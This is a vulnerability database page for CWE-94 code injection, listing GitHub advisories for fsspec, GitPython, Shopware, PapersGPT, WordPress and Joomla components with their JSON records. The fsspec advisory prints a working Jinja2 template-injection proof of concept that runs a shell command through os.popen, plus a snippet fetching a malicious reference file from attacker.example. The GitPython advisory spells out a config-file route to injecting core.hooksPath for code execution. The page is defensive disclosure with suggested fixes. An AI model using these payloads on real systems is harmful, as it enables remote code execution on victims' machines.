Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

9412 vulnerabilities reference this CWE, most recent first.

GHSA-27V6-4M9P-3QQ4

Vulnerability from github – Published: 2022-09-22 00:00 – Updated: 2022-09-25 00:00
VLAI
Details

Authenticated Arbitrary Code Execution vulnerability in Soflyy Import any XML or CSV File to WordPress plugin <= 3.6.7 at WordPress.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-36386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-21T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Authenticated Arbitrary Code Execution vulnerability in Soflyy Import any XML or CSV File to WordPress plugin \u003c= 3.6.7 at WordPress.",
  "id": "GHSA-27v6-4m9p-3qq4",
  "modified": "2022-09-25T00:00:28Z",
  "published": "2022-09-22T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36386"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-all-import/wordpress-import-any-xml-or-csv-file-to-wordpress-plugin-3-6-7-authenticated-arbitrary-code-execution-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/wp-all-import/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-27VJ-QCQG-25RC

Vulnerability from github – Published: 2026-10-05 22:53 – Updated: 2026-10-05 22:53
VLAI
Summary
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
Details

Summary

fsspec.implementations.reference.ReferenceFileSystem parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through un-sandboxed jinja2.Template(...).render(...) calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with fsspec.filesystem("reference", fo=URL) or via xarray.open_dataset("reference://...") — achieves arbitrary Python code execution on the victim machine, before any data is read.

This mirrors the pattern of CVE-2024-34359 in llama-cpp-python, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment.

Affected versions

All versions of fsspec from 0.9.0 onward (vulnerable code introduced in commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on the latest released version 2025.10.0.

Affected sinks

All in fsspec/implementations/reference.py:

Sink Location Trigger
A — _process_references1._render_jinja lines 1016-1018 simple_templates=False and a refs entry contains {{
B — _process_templates (lambda) lines 1043-1053 templates dict has values containing {{, invoked later via render context
C — _process_gen lines 1075-1083 references JSON contains a gen array (always reached, regardless of simple_templates)

Sink C is the most severe: it is reached unconditionally for any references JSON that includes a gen field.

The vulnerable code:

# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed

# Sink B
def _process_templates(self, tmp):
    ...
    for k, v in tmp.items():
        if "{{" in v:
            import jinja2
            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
                temp                                       # <- unsandboxed
            ).render(**kwargs)

# Sink C
def _process_gen(self, gens):
    ...
    for pr in products:
        import jinja2
        key = jinja2.Template(gen["key"]).render(**pr, **self.templates)        # <- unsandboxed
        url = jinja2.Template(gen["url"]).render(**pr, **self.templates)        # <- unsandboxed
        if ("offset" in gen) and ("length" in gen):
            offset = int(jinja2.Template(gen["offset"]).render(...))            # <- unsandboxed
            length = int(jinja2.Template(gen["length"]).render(...))            # <- unsandboxed

Proof of concept (Sink C, minimal)

Save as poc.py:

import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
        "offset": "0", "length": "0", "dimensions": {"i": [0]},
    }],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
    fsspec.filesystem("reference", fo=url)
except Exception as e:
    print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))

Run:

pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]

End-to-end via xarray (real-world consumer pathway)

import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",
            "remote_protocol": "http",
        },
    },
)
# RCE fires before any data is materialised.

Tested on

  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux

Impact

fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage.

Realistic attack vectors:

  • A user opens a community-shared Kerchunk catalogue link via xarray/dask.
  • A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
  • A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).

In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.

Suggested fix

Replace jinja2.Template(...) with a shared jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This matches the post-incident hardening applied to llama-cpp-python after CVE-2024-34359.

# At module top
def _sandboxed_env():
    import jinja2.sandbox
    env = getattr(_sandboxed_env, "_env", None)
    if env is None:
        env = jinja2.sandbox.ImmutableSandboxedEnvironment()
        _sandboxed_env._env = env
    return env

Then in each sink, replace jinja2.Template(s).render(...) with _sandboxed_env().from_string(s).render(...).

The legitimate Kerchunk template syntax (simple variable substitution like {{ varname }}) continues to work under the sandbox; only the SSTI gadgets (__class__, __init__.__globals__, __subclasses__, etc.) are refused with jinja2.exceptions.SecurityError.

A complete patch is available on request.

Credit

Reported by Dany.A

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fsspec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "2026.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:53:22Z",
    "nvd_published_at": "2026-10-02T17:17:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n    return jinja2.Template(u).render(**self.templates)  # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n    ...\n    for k, v in tmp.items():\n        if \"{{\" in v:\n            import jinja2\n            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n                temp                                       # \u003c- unsandboxed\n            ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n    ...\n    for pr in products:\n        import jinja2\n        key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        if (\"offset\" in gen) and (\"length\" in gen):\n            offset = int(jinja2.Template(gen[\"offset\"]).render(...))            # \u003c- unsandboxed\n            length = int(jinja2.Template(gen[\"length\"]).render(...))            # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n    \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n    \"gen\": [{\n        \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n        \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n    }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n    fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n    print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n    \"reference://\",\n    engine=\"zarr\",\n    backend_kwargs={\n        \"consolidated\": False,\n        \"storage_options\": {\n            \"fo\": \"http://attacker.example/refs.json\",\n            \"remote_protocol\": \"http\",\n        },\n    },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n  ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n  been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n    import jinja2.sandbox\n    env = getattr(_sandboxed_env, \"_env\", None)\n    if env is None:\n        env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n        _sandboxed_env._env = env\n    return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
  "id": "GHSA-27vj-qcqg-25rc",
  "modified": "2026-10-05T22:53:22Z",
  "published": "2026-10-05T22:53:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/pull/2029"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/pull/2039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fsspec/filesystem_spec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution"
}

GHSA-27WM-9RGH-2VCQ

Vulnerability from github – Published: 2026-08-11 21:33 – Updated: 2026-08-11 21:33
VLAI
Details

PapersGPT for Zotero 0.6.1 contains a remote code execution vulnerability that allows attackers to execute arbitrary JavaScript by returning malicious code from an LLM endpoint that is passed unsanitized to window.eval() in views.ts. Attackers can exploit this through prompt injection in PDFs, MITM interception of API requests, or a malicious custom LLM endpoint to execute arbitrary code in Zotero's chrome-privileged context, enabling file read/write, process execution, and access to all Zotero data.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-73032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T20:18:46Z",
    "severity": "CRITICAL"
  },
  "details": "PapersGPT for Zotero 0.6.1 contains a remote code execution vulnerability that allows attackers to execute arbitrary JavaScript by returning malicious code from an LLM endpoint that is passed unsanitized to window.eval() in views.ts. Attackers can exploit this through prompt injection in PDFs, MITM interception of API requests, or a malicious custom LLM endpoint to execute arbitrary code in Zotero\u0027s chrome-privileged context, enabling file read/write, process execution, and access to all Zotero data.",
  "id": "GHSA-27wm-9rgh-2vcq",
  "modified": "2026-08-11T21:33:10Z",
  "published": "2026-08-11T21:33:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73032"
    },
    {
      "type": "WEB",
      "url": "https://github.com/papersgpt/papersgpt-for-zotero/issues/154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/papersgpt/papersgpt-for-zotero/pull/155"
    },
    {
      "type": "WEB",
      "url": "https://github.com/papersgpt/papersgpt-for-zotero/commit/094134172ce4a344a31e4b196cc75d1806383658"
    },
    {
      "type": "WEB",
      "url": "https://github.com/papersgpt/papersgpt-for-zotero"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/papersgpt-for-zotero-rce-via-unsanitized-llm-response-eval"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-27WP-JVHW-V4XP

Vulnerability from github – Published: 2024-08-08 14:48 – Updated: 2024-08-08 17:00
VLAI
Summary
Shopware vulnerable to Server Side Template Injection in Twig using deprecation silence tag
Details

Impact

Shopware has a new Twig Tag sw_silent_feature_call which silences deprecation messages while triggered in this tag. It accepts as parameter a string the feature flag name to silence, but this parameter is not escaped properly and allows execution of code.

Patches

Update to Shopware 6.6.5.1 or 6.5.8.13

Workarounds

For older versions of 6.2, 6.3, and 6.4, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.8.12"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.8.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.8.12"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.8.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.6.5.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0.0"
            },
            {
              "fixed": "6.6.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.6.5.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0.0"
            },
            {
              "fixed": "6.6.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-42355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-08T14:48:03Z",
    "nvd_published_at": "2024-08-08T15:15:18Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nShopware has a new Twig Tag `sw_silent_feature_call` which silences deprecation messages while triggered in this tag.\nIt accepts as parameter a string the feature flag name to silence, but this parameter is not escaped properly and allows execution of code.\n\n### Patches\nUpdate to Shopware 6.6.5.1 or 6.5.8.13\n\n### Workarounds\nFor older versions of 6.2, 6.3,  and 6.4, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n",
  "id": "GHSA-27wp-jvhw-v4xp",
  "modified": "2024-08-08T17:00:14Z",
  "published": "2024-08-08T14:48:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/security/advisories/GHSA-27wp-jvhw-v4xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42355"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/core/commit/a784aa1cec0624e36e0ee4d41aeebaed40e0442f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/core/commit/d35ee2eda5c995faeb08b3dad127eab65c64e2a2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/commit/445c6763cc093fbd651e0efaa4150deae4ae60da"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/commit/8504ba7e56e53add6a1d5b9d45015e3d899cd0ac"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/shopware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Shopware vulnerable to Server Side Template Injection in Twig using deprecation silence tag"
}

GHSA-283M-G47H-4XP3

Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2022-05-24 22:00
VLAI
Details

OpenEMR v5.0.1-6 allows code execution.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-8371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-16T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "OpenEMR v5.0.1-6 allows code execution.",
  "id": "GHSA-283m-g47h-4xp3",
  "modified": "2022-05-24T22:00:36Z",
  "published": "2022-05-24T22:00:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8371"
    },
    {
      "type": "WEB",
      "url": "https://know.bishopfox.com/advisories/openemr-5-0-16-remote-code-execution-cross-site-scripting"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-284F-R3F8-MCP6

Vulnerability from github – Published: 2022-05-02 03:37 – Updated: 2022-05-02 03:37
VLAI
Details

PHP remote file inclusion vulnerability in toolbar_ext.php in the MediaLibrary (com_media_library) component 1.5.3 Basic for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2009-2634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-07-28T19:30:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in toolbar_ext.php in the MediaLibrary (com_media_library) component 1.5.3 Basic for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.",
  "id": "GHSA-284f-r3f8-mcp6",
  "modified": "2022-05-02T03:37:12Z",
  "published": "2022-05-02T03:37:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2634"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/8912"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-284H-M62Q-GF8W

Vulnerability from github – Published: 2026-09-08 18:39 – Updated: 2026-09-08 18:39
VLAI
Summary
GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE
Details
  • CWE: CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument
  • Affected component: git/config.py — GitConfigParser._read() (multi-line value decoding, lines 444-541, esp. string_decode() at line 460 and its call sites at 519/541) and GitConfigParser._write()/write_section() (serialization, lines ~694-712, esp. line 708)
  • Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability

GitPython added UNSAFE_CONFIG_CHARS_RE / _value_to_string_safe() / _assure_config_name_safe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), set_value(), add_value(), or add_section(). This closed the four config-injection GHSAs above.

That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser._sections via _read() — i.e. values that came from parsing an on-disk config file. And _read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and string_decode() (.decode('unicode_escape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.

The bug is in what happens when that GitConfigParser is later flushed: write_section() (line ~694) calls the unsafe self._value_to_string(v) — not _value_to_string_safe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal \ immediately before the newline. So the moment write_section() re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or real git) parses the file. If an attacker chooses the dormant value's content to be <anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-new core.hooksPath = <attacker path> directive — live, real Git configuration, not a value.

core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.

Root cause

GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.

Exploit path

  1. A .git/config (or any file merged into it via [include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: [core] zzz = "A\nhooksPath = ../evil-hooks\ " No raw \r, \n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real git config --get core.hookspath returns nothing at this point (inert); git config --get core.zzz returns the decoded string A\nhooksPath = ../evil-hooks, identically to GitPython's own reader.
  2. The host application opens this repo with GitPython (git.Repo(path), read_only=False implicitly for a normal config_writer() use) and performs any single, unrelated, legitimate config write on the same GitConfigParser instance — e.g. repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs.
  3. GitConfigParser._write()/write_section() re-serializes every resident value, including the dormant zzz entry, using the unsafe path. The file on disk now contains, verbatim: [core] ... zzz = A hooksPath = ../evil-hooks
  4. Real git config --get core.hookspath now returns ../evil-hooks — a key that did not exist before step 2, created purely by GitPython's own write.
  5. The next hook-firing git operation (e.g. git commit) executes ../evil-hooks/pre-commit (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.

Impact

Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.

Preconditions

  • A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like <anything>\n<injected-key> = <injected-value>. Realistic delivery:
  • Pre-existing .git directory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve .git, "repo" tarball/zip distributions that include .git/config. The poisoned value sits directly in .git/config.
  • The documented shared-config [include] pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) — GitConfigParser.read() merges included files' sections into the same _sections dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own .git/config to already reference the include, e.g. via project setup tooling that adds include.path).
  • Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write — the exact trust-boundary the maintainers already accepted as realistic for GHSA-v87r-6q3f-2j67 (their writeup cites MLRun's project.push()).
  • No authentication/role requirement inside GitPython itself.

Evidence

  • git/config.py:460 (string_decode), invoked at git/config.py:519 and :541 inside _read()'s multi-line handling — decodes unicode_escape, turning a literal \n escape into a real embedded LF.
